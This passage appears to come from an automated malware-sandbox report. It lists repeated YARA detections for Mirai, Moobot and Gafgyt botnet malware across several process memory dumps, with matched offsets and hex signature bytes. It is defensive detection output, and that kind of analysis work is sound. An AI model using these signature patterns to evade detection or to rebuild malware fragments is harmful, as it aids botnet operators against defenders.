2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6835.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7310.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7310.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7310.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7310.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7310.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7310.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6803.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6803.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6803.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6803.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6803.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6803.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7092.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7092.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7092.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7092.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7092.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7092.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6938.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6269.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6269.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6269.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6269.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6269.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6269.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6462.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6499.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6657.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7244.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6408.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6408.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6408.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6408.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6408.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6408.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
